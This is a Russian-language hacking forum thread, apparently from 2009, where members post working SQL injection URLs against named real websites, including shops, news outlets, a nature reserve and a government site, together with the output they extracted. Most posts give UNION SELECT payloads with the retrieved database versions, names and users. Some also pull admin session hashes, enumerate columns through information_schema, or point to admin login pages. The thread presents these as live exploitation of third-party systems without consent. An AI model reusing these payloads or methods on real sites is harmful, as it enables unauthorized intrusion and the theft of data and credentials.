SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Hack_ERR++

    Hack_ERR++ Member

    Joined:
    13 Aug 2009
    Messages:
    41
    Likes Received:
    9
    Reputations:
    0
    Code:
    http://www.radmarkt.de/rm/content/home/news.php?id=-974+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
    User = [email protected]
    Database = bva_radmarkt
    Version = 4.1.20
     
    1 person likes this.
  2. -JC-

    -JC- Member

    Joined:
    10 Mar 2009
    Messages:
    54
    Likes Received:
    18
    Reputations:
    11
    Code:
    http://udmurtiya.org/view.php?id=-1%27+union+select+1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+--+
     
    1 person likes this.
  3. Noizless

    Noizless Member

    Joined:
    26 Jul 2009
    Messages:
    6
    Likes Received:
    8
    Reputations:
    0
    Code:
    http://atn.kharkov.ua/gallery_view.php?idf=-267+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8--
    Database Version: 5.0.45-log
    Database name: site
    User name: atn@localhost

    Code:
    http://vecherniy.kharkov.ua/archive_paper/?y=2009&n=-89+union+select+1,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,3,4,5,6,7,8,9,10,11,12,13,14--
    Database Version: 5.0.51a-24-log
    Database name: newvecherka
    User name: u_newvecherk@localhost
     
    #10363 Noizless, 15 Aug 2009
    Last edited: 15 Aug 2009
    4 people like this.
  4. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    version:4.1.20
    database:admin_appl
    user:worldsteelorg@localhost

    version:5.0.18
    database:log mybart
    user:[email protected]
     
  5. edge911

    edge911 Active Member

    Joined:
    21 Feb 2009
    Messages:
    105
    Likes Received:
    142
    Reputations:
    15
    Database Version: 5.1.28-rc
     
    2 people like this.
  6. BHYCHIK

    BHYCHIK Member

    Joined:
    30 Jan 2009
    Messages:
    52
    Likes Received:
    28
    Reputations:
    9
    Сайт природного заповедника Куркино http://www.oopt-kurkino.ru/

    Уязвимый скрипт: http://www.oopt-kurkino.ru/p8/index.php?r=news&nid=223+and+0+union+select+1,2,3,4,5,6,7,8,9,10--+

    Версия БД: 5.0.45
    Имя БД: oopt_kurkino_ru
    Юзер: ooptkurkinoru@localhost
    ОС: redhat-linux-gnu
    File_priv: нет
    Доступ к mysql.user: нет

    Информация об админе:
    http://www.oopt-kurkino.ru/p8/index.php?r=news&nid=223+and+0+union+select+1,2,concat_ws(0x3a,hash,last,ip,c),4,5,6,7,8,9,10+from+cns_adminsessions--+
     
    2 people like this.
  7. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    http://www.ipcc.cma.gov.cn/Website/index.php?WCHID=30+UNION+SELECT+AES_DECRYPT(AES_ENCRYPT(CONCAT(0x3a,version(),user(),database()),0x71),0x71),2,3,4/*

    5.0.18root@localhostipcc_cma_gov_cn
     
    4 people like this.
  8. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    142
    Likes Received:
    246
    Reputations:
    73
    Razzie Awards(Официальный сайт премии «Золотая малина»)

    MS Access

    Скуля есть,но какие там таблицы хз. Знаю что стоит XcNewsPlus,так же есть web wiz forum,но его таблицы в другой базе,так что тоже надо подбирать.Если кто сможет,раскрутите)
     
    1 person likes this.
  9. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    PR3

    Code:
    http://www.sgb-cisl.it/sites/wir_gremiumdetails.php?lang=de&id_gremienkategorie=-1+and+1=1+UNION+SELECT+concat_ws(0x3a,version(),user(),database())
    5.0.45-log:sgbcisl@localhost:sgbcisl
     
    2 people like this.
  10. mol0t

    mol0t Member

    Joined:
    8 Jul 2009
    Messages:
    28
    Likes Received:
    89
    Reputations:
    3
    Code:
    http://www.unitedland.ru/news.php?id=-6+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4--
    
    caption_land:5.0.81-community:caption_merk@localhost


    Code:
    http://www.elios-nsk.ru/prod_info.php?id=-9640+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4,5,6,7,8,9,10,11,12,13--
    
    inetsruq_elios:5.0.81-community-log:inetsruq_elios@localhost
     
    3 people like this.
  11. BHYCHIK

    BHYCHIK Member

    Joined:
    30 Jan 2009
    Messages:
    52
    Likes Received:
    28
    Reputations:
    9
    http://www.birgitta.ee/2008/index.php?page=news&id=2+and+0+union+select+1,2,3--+

    http://www.birgitta.ee/2008/index.php?page=news&id=2+and+0+union+select+1,2,concat_ws(0x3a,user(),version(),database(),@@version_compile_os)--+

    User:dart@localhost
    database:dartklient
    version:5.0.58-log
    OS:redhat-linux-gnu
    доступ к mysql.user: нет
    file_priv: нет
     
    1 person likes this.
  12. Noizless

    Noizless Member

    Joined:
    26 Jul 2009
    Messages:
    6
    Likes Received:
    8
    Reputations:
    0
    Code:
    http://www.tan-jurist.ru/articles.php?id=-7+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10--
    Database Version: 5.0.67-log
    Database name: u25507
    User name: [email protected]
     
    1 person likes this.
  13. BHYCHIK

    BHYCHIK Member

    Joined:
    30 Jan 2009
    Messages:
    52
    Likes Received:
    28
    Reputations:
    9
    http://www.uvic.ee/prodfull.php?id=-109+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

    Database(): d1894sd5697
    User(): [email protected]
    Version(): 5.1.35
    OS: unknown-linux-gnu
    File_priv: Нет
    Доступ к mysql.user: Нет

    Интересные таблицы не нашел. Доступ к админке ограничен через .htaccess
    http://www.uvic.ee/admin
     
    1 person likes this.
  14. Assembler

    Assembler Elder - Старейшина

    Joined:
    1 Sep 2007
    Messages:
    173
    Likes Received:
    102
    Reputations:
    23
    http://www.ru-host.ru/next.php?id=3-3%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x686f73745f6e657773--

    Хостер =) 5 версия...

    Джокестар, если боян минус не ставь... Антибоян не работает временно
     
    3 people like this.
  15. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.subco.org/sc.php?src=entry&id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13/*
    Code:
    subco@localhost:subco:5.0.45
    Code:
    http://www.norvellgroup.com/property-offered-charleston-sc.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5
    Code:
    norvell_cms@localhost:norvell_cms:4.1.22-standard-log
    Code:
    http://209.172.57.37:8080/smsmanager/smsuser/welcome.jsp?np=addressbook&v=2&KEYID=-1+union+select+1,2,3,4,5,6
    Code:
    http://www.clontarfflorist.com/shopping/sc.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5
    Code:
    [email protected]:clonta1_SHOP:5.0.45-community-log
     
    #10375 mailbrush, 16 Aug 2009
    Last edited: 16 Aug 2009
    2 people like this.
  16. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    http://www.climamaison.com/gp_produit.php?Prod=71+union+select+1,concat_ws(0x2a,version(),user(),database())

    5.0.32-Debian_7etch10-log climamaisoncom@localhost climamaisoncom

    http://www.gmb-tuning.nl/index.php?p=Nieuws&id=80+union+select+1,2,3,4,5,concat_ws(0x2a,version(),database(),user()),7

    5.0.32-Debian_7etch6-log gladershop_gmb gladershop_gmb@localhost
     
    1 person likes this.
  17. Noizless

    Noizless Member

    Joined:
    26 Jul 2009
    Messages:
    6
    Likes Received:
    8
    Reputations:
    0
    Code:
    http://www.skidkivtule.ru/advices.php?id=20&row=-89+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6/*
    Database Version: 4.1.22-log
    Database name: wwwskidkivtuleru
    User name: skidkivt@localhost

    Code:
    http://www.kfp.com.ua/vippred_info.php?id=19+union+select+1,2,concat_ws(0x3a,version(),database(),user())+limit+1,1/*
    Database Version: 4.0.27-standard-log
    Database name: VKFK
    User name: vkfk@localhost

    Code:
    http://www.parta.kiev.ua/club/index.php?show=ank&id=-599+UNION+SELECT+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38--
    Database Version: 5.0.51a-community
    Database name: photoua_parta
    User name: photoua_parta@localhost
     
  18. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    142
    Likes Received:
    246
    Reputations:
    73
    www.smirs.com он-лайн шоп часов
    Blind SQL inj

    4ая ветка
     
    3 people like this.
  19. Assembler

    Assembler Elder - Старейшина

    Joined:
    1 Sep 2007
    Messages:
    173
    Likes Received:
    102
    Reputations:
    23
    http://www.tdrz.ru/next.php?id=84%20union%20select%20version()--

    Database Version: 5.0.32-Debian_7etch8
    Database name: tdrzru
    User name: tdrzru@localhost
     
    4 people like this.
  20. mol0t

    mol0t Member

    Joined:
    8 Jul 2009
    Messages:
    28
    Likes Received:
    89
    Reputations:
    3
    ТИЦ: 10
    PR: 4
    Code:
    http://www.kanda.com/readnews.php?id=-17+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,database(),version(),user()),9,10--
    
    kanda_kandadb:5.0.45:[email protected]
    вывод в заголовке
    http://www.kanda.com/admin/login.php
     
    7 people like this.
Thread Status:
Not open for further replies.